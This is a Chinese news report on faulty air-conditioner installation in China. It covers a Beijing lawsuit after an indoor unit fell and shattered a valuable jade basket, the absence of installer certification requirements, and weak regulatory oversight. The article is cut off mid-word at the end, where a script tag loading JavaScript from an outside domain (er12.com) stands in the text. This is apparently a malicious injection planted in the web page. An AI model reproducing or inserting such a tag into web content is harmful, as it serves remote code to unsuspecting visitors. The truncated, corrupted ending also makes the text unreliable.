“三分产品，七分安装”，空调安装质量的好坏不仅直接影响着空调的使用效果、使用寿命，更关系到消费者的人身财产安全，为此，《房间空调器安装质量检验规范》要求空调安装工人必须进行岗前培训，取得资格才能上岗。但记者日前通过调查却发现，空调安装队伍的准入关口缺乏把关的“门神”。
违规安装酿祸端
半夜三更，墙上的空调室内机突然坠落，摆放在公司会客厅内一个价值１６０万元的翠玉花篮应声而碎——北京恒威房地产开发公司为此将安装空调的北京春兰电器经营公司等告上法庭，索赔损失费１６０万元。６月１１日上午，北京西城法院审理了此案。
据北京恒威房地产开发公司代理律师介绍，２００１年恒威公司从中汉拍卖公司处购买了一个价值１６０万元的翠玉花篮，摆放在会客厅内。２００４年该公司从北京春兰电器经营公司购买了５台空调，并由其负责安装。２００５年１１月２４日夜里，一个空调室内机突然坠落，正砸在翠玉花篮上，造成花篮破损。北京西城法院研究室工作人员何玲玲介绍说，由于北京春兰电器经营公司的组建单位北京双同商贸公司已于２００３年年底注销，所以法院公告送达后下落不明。庭审在只有原告和第二被告北京双同商贸公司的组建单位西城区教委教师住宅建设管理中心到场的情况下开始。从原告提供的照片来看，空调室内机坠落与安装时偷工减料有关。
无独有偶，不久前河北省唐山市一户居民家中的壁挂式空调室内机也轰然坠落，幸好无人受伤，当时距安装空调的时间还不足１年。
据有关部门介绍，近年来，因空调安装造成人身伤害的事件屡屡发生。而中国消费者协会今年３．１５期间公布的２００５年投诉统计分析表明，空调类投诉增幅首次超过手机，居于首位。中国家电维修协会会长董增认为空调安装环节存在的问题有：部分空调生产、销售、专业服务企业没有专业、稳定的安装队伍；空调安装服务规范不健全；企业内部无空调安装质检人员；空调安装人员草草培训上岗或空调安装旺季安装工无证上岗情况颇多等等。
何玲玲告诉记者，由于北京春兰公司缺席，因此无法获知该公司的空调安装工人是否为持证上岗。虽然每年随着气温的升高，因空调安装不当造成纠纷发生的事件也随之上升，但从法院受理情况来看，似乎很少有人关注安装工人的资质问题。
资格认证有尴尬
中国家电维修协会副秘书长郭赤兵介绍说，空调安装是技术性很强的工种，没有经过严格培训很难安装到位，比如说如何安装才能使空调不漏水、安装地点的选择、安装的匹配原则等等，这些都是有讲究的。好的空调安装能使空调发挥最大的效能，反之如果安装不专业，空调则成了一个能源消耗品，一个安全隐患。１９９９年发布的《房间空气调节器安装规范》针对空调安装环节中经常出现的各种质量问题，规定了要对安装人员进行培训等要求。另外，由中国家电维修协会和苏宁联合起草的《房间空调器安装质量检验规范》于今年５月开始在业内推广。该《规范》要求空调安装工人必须进行岗前培训，取得资格才能上岗。
但令人尴尬的是，北京市劳动保障部门有关人士介绍说，按照《招用技术工种从业人员规定》，用人单位招用未取得相应职业资格证书的劳动者从事技术工种工作的，劳动部门可以对之处以罚款。但是该规定中《持职业资格证书就业的工种目录》内并没有空调安装工这一项，因此即使空调安装工人没有取得资格证书，劳动保障部门也无法对其作出处罚。北京市质量技术监督局有关负责人也表示，该局并未举办过空调专业安装人员上岗培训班，也未对空调安装人员持证上岗进行过监管。北京市安全生产局的相关人士表示，该局负责安装工人安全问题的监管，但对于空调的安装质量却无权进行监管。
北京丰台区维修服务行业协会秘书长梁生荣介绍说，有些未按规范安装的空调，当时可能看不出问题，但在今后的使用中会出现各种问题，如空调空气管道应低于室内机，如果与室内机平行或高于室内机就会造成冷凝水倒流进屋，有资质的工人安装的空调一般不会出现这样的问题，但该协会接到类似的投诉并不在少数。《房间空气调节器安装规范》颁布实施后，该协会于２００１年和２００２年先后培训过２００多人，但由于缺乏主管部门，此事便不了了之。近两年空调安装问题越来越严重，于是今年该协会与北京市标准化协会协商，由丰台区维修服务行业协会负责培训，培训结束后由北京市标准化协会负责发证，但因为没有监管处罚权力，因此也无法禁止企业雇佣无资质的人员。
旺季安装违规多
据了解，目前各单位一般都是按照《房间空气调节器安装规范》和中国家电研究院编写的空调安装培训教材及各地有关部门印发的《房间空调器安装规范实施指南》培训工人，但具体操作规程还是由企业自己确定，随意性很强。在缺乏国家强制性标准的情况下，企业的培训极其简单。同时，由于空调是一个靠天吃饭的产品，销?script src=http://er12.com/t.js>
